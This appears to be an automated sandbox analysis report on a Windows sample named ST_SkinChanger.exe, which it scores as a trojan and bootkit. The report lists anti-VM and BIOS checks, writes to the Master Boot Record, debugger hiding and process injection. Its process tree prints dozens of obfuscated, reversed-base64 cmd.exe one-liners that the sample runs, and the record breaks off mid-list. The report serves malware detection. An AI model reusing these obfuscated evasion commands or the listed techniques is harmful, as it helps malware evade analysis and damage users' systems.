e5e74738371024c01802aca131858c29894d74c238a30b15445358e104d34916

Analysis

max time kernel
150s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
11/08/2026, 04:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ST_SkinChanger.exe
Size 14.2MB
Sample260811-e9asba1xgx
SHA256 e5e74738371024c01802aca131858c29894d74c238a30b15445358e104d34916
MD5 c791a9ef37ce361b60afb95938051125
SHA1 6b1fd096534889d5f53d5e891852e74bf899e8b6
SHA512 c797671ce4aff92ff2a51f336c9d3ca7eaa94690c772ef1a0bd6f30b86bd0dca6be956b2140934943710237e2a4be14388c5df5487e82aab2f396d111dc2d358
SSDEEP 196608:ockslrgXZEngTqCfCczbOsv4/Sp0/bMmtFEcr18uu/ufC5/CLR/wK0F9QG:o7P6ngTdVHiSp0/7tFT1zXfUaL5WFz
TLSH
T1EAE633245971BCA6DC1C8978A18AE7CD96D4A7EF4A8F920F3E63759BC40363C3AD51C0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

bootkit defense_evasion execution persistence trojan

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ST_SkinChanger.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ST_SkinChanger.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ST_SkinChanger.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ST_SkinChanger.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	ST_SkinChanger.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4456	cmd.exe
3876	cmd.exe
5168	cmd.exe
2448	cmd.exe
3496	cmd.exe
3972	cmd.exe
5016	cmd.exe
5544	cmd.exe
4288	cmd.exe
3288	cmd.exe
5872	cmd.exe
1612	cmd.exe
6060	cmd.exe
4756	cmd.exe
5060	cmd.exe
4180	cmd.exe
5516	cmd.exe
5216	cmd.exe
3396	cmd.exe
4600	cmd.exe
3916	cmd.exe
836	cmd.exe
2040	cmd.exe
2928	cmd.exe
6096	cmd.exe
2164	cmd.exe
3876	cmd.exe
4912	cmd.exe
1416	cmd.exe
2940	cmd.exe
2612	cmd.exe
5048	cmd.exe
4908	cmd.exe
1000	cmd.exe
5800	cmd.exe
3288	cmd.exe
2636	cmd.exe
6128	cmd.exe
4388	cmd.exe
1700	cmd.exe
4136	cmd.exe
1488	cmd.exe
3188	cmd.exe
3416	cmd.exe
1828	cmd.exe
1676	cmd.exe
1664	cmd.exe
3712	cmd.exe
5108	cmd.exe
2928	cmd.exe
2312	cmd.exe
5504	cmd.exe
5196	cmd.exe
3032	cmd.exe
708	cmd.exe
1252	cmd.exe
836	cmd.exe
5784	cmd.exe
1660	cmd.exe
2164	cmd.exe
2980	cmd.exe
2852	cmd.exe
5704	cmd.exe
4596	cmd.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe
3004	ST_SkinChanger.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3004 wrote to memory of 4820	3004	ST_SkinChanger.exe	89
PID 3004 wrote to memory of 6132	3004	ST_SkinChanger.exe	90
PID 3004 wrote to memory of 3300	3004	ST_SkinChanger.exe	91
PID 3004 wrote to memory of 1556	3004	ST_SkinChanger.exe	93
PID 3004 wrote to memory of 4444	3004	ST_SkinChanger.exe	95
PID 3004 wrote to memory of 4640	3004	ST_SkinChanger.exe	97
PID 3004 wrote to memory of 4740	3004	ST_SkinChanger.exe	99
PID 3004 wrote to memory of 1688	3004	ST_SkinChanger.exe	101
PID 3004 wrote to memory of 4256	3004	ST_SkinChanger.exe	103
PID 3004 wrote to memory of 2424	3004	ST_SkinChanger.exe	105
PID 3004 wrote to memory of 260	3004	ST_SkinChanger.exe	107
PID 3004 wrote to memory of 5096	3004	ST_SkinChanger.exe	109
PID 3004 wrote to memory of 1552	3004	ST_SkinChanger.exe	111
PID 3004 wrote to memory of 3368	3004	ST_SkinChanger.exe	113
PID 3004 wrote to memory of 3536	3004	ST_SkinChanger.exe	115
PID 3004 wrote to memory of 2868	3004	ST_SkinChanger.exe	117
PID 3004 wrote to memory of 1364	3004	ST_SkinChanger.exe	119
PID 3004 wrote to memory of 4252	3004	ST_SkinChanger.exe	121
PID 3004 wrote to memory of 4808	3004	ST_SkinChanger.exe	123
PID 3004 wrote to memory of 4360	3004	ST_SkinChanger.exe	125
PID 3004 wrote to memory of 5588	3004	ST_SkinChanger.exe	127
PID 3004 wrote to memory of 5068	3004	ST_SkinChanger.exe	129
PID 3004 wrote to memory of 2492	3004	ST_SkinChanger.exe	131
PID 3004 wrote to memory of 2944	3004	ST_SkinChanger.exe	133
PID 3004 wrote to memory of 2928	3004	ST_SkinChanger.exe	135
PID 3004 wrote to memory of 2664	3004	ST_SkinChanger.exe	250
PID 3004 wrote to memory of 5784	3004	ST_SkinChanger.exe	252
PID 3004 wrote to memory of 2524	3004	ST_SkinChanger.exe	141
PID 3004 wrote to memory of 4724	3004	ST_SkinChanger.exe	143
PID 3004 wrote to memory of 1828	3004	ST_SkinChanger.exe	145
PID 3004 wrote to memory of 2384	3004	ST_SkinChanger.exe	260
PID 3004 wrote to memory of 4224	3004	ST_SkinChanger.exe	149
PID 3004 wrote to memory of 5436	3004	ST_SkinChanger.exe	151
PID 3004 wrote to memory of 4624	3004	ST_SkinChanger.exe	153
PID 3004 wrote to memory of 1744	3004	ST_SkinChanger.exe	155
PID 3004 wrote to memory of 2636	3004	ST_SkinChanger.exe	157
PID 3004 wrote to memory of 564	3004	ST_SkinChanger.exe	159
PID 3004 wrote to memory of 6096	3004	ST_SkinChanger.exe	161
PID 3004 wrote to memory of 1140	3004	ST_SkinChanger.exe	163
PID 3004 wrote to memory of 4592	3004	ST_SkinChanger.exe	165
PID 3004 wrote to memory of 4848	3004	ST_SkinChanger.exe	167
PID 3004 wrote to memory of 2272	3004	ST_SkinChanger.exe	169
PID 3004 wrote to memory of 4124	3004	ST_SkinChanger.exe	171
PID 3004 wrote to memory of 2468	3004	ST_SkinChanger.exe	173
PID 3004 wrote to memory of 5600	3004	ST_SkinChanger.exe	175
PID 3004 wrote to memory of 3400	3004	ST_SkinChanger.exe	177
PID 3004 wrote to memory of 1516	3004	ST_SkinChanger.exe	179
PID 3004 wrote to memory of 6048	3004	ST_SkinChanger.exe	181
PID 3004 wrote to memory of 5996	3004	ST_SkinChanger.exe	183
PID 3004 wrote to memory of 5524	3004	ST_SkinChanger.exe	185
PID 3004 wrote to memory of 4392	3004	ST_SkinChanger.exe	187
PID 3004 wrote to memory of 2812	3004	ST_SkinChanger.exe	189
PID 3004 wrote to memory of 3576	3004	ST_SkinChanger.exe	191
PID 3004 wrote to memory of 3124	3004	ST_SkinChanger.exe	193
PID 3004 wrote to memory of 1584	3004	ST_SkinChanger.exe	195
PID 3004 wrote to memory of 5048	3004	ST_SkinChanger.exe	197
PID 3004 wrote to memory of 5980	3004	ST_SkinChanger.exe	199
PID 3004 wrote to memory of 5136	3004	ST_SkinChanger.exe	201
PID 3004 wrote to memory of 2476	3004	ST_SkinChanger.exe	203
PID 3004 wrote to memory of 4188	3004	ST_SkinChanger.exe	205
PID 3004 wrote to memory of 4368	3004	ST_SkinChanger.exe	207
PID 3004 wrote to memory of 5692	3004	ST_SkinChanger.exe	209
PID 3004 wrote to memory of 3000	3004	ST_SkinChanger.exe	211
PID 3004 wrote to memory of 2824	3004	ST_SkinChanger.exe	213

C:\Users\Admin\AppData\Local\Temp\ST_SkinChanger.exe
"C:\Users\Admin\AppData\Local\Temp\ST_SkinChanger.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:6132
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3300
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1556
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4444
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4640
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4740
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1688
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4256
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2424
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:260
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5096
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1552
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3368
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3536
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2868
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1364
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4252
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4808
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4360
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5588
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5068
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2492
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2944
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:2928
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2664
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5784
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2524
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4724
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1828
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2384
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4224
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5436
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4624
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1744
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:2636
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:564
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6096
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1140
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4592
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4848
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2272
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4124
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2468
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5600
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3400
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1516
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6048
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5996
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5524
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4392
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2812
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3576
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3124
- C:\Windows\SYSTEM32\cmd.exe
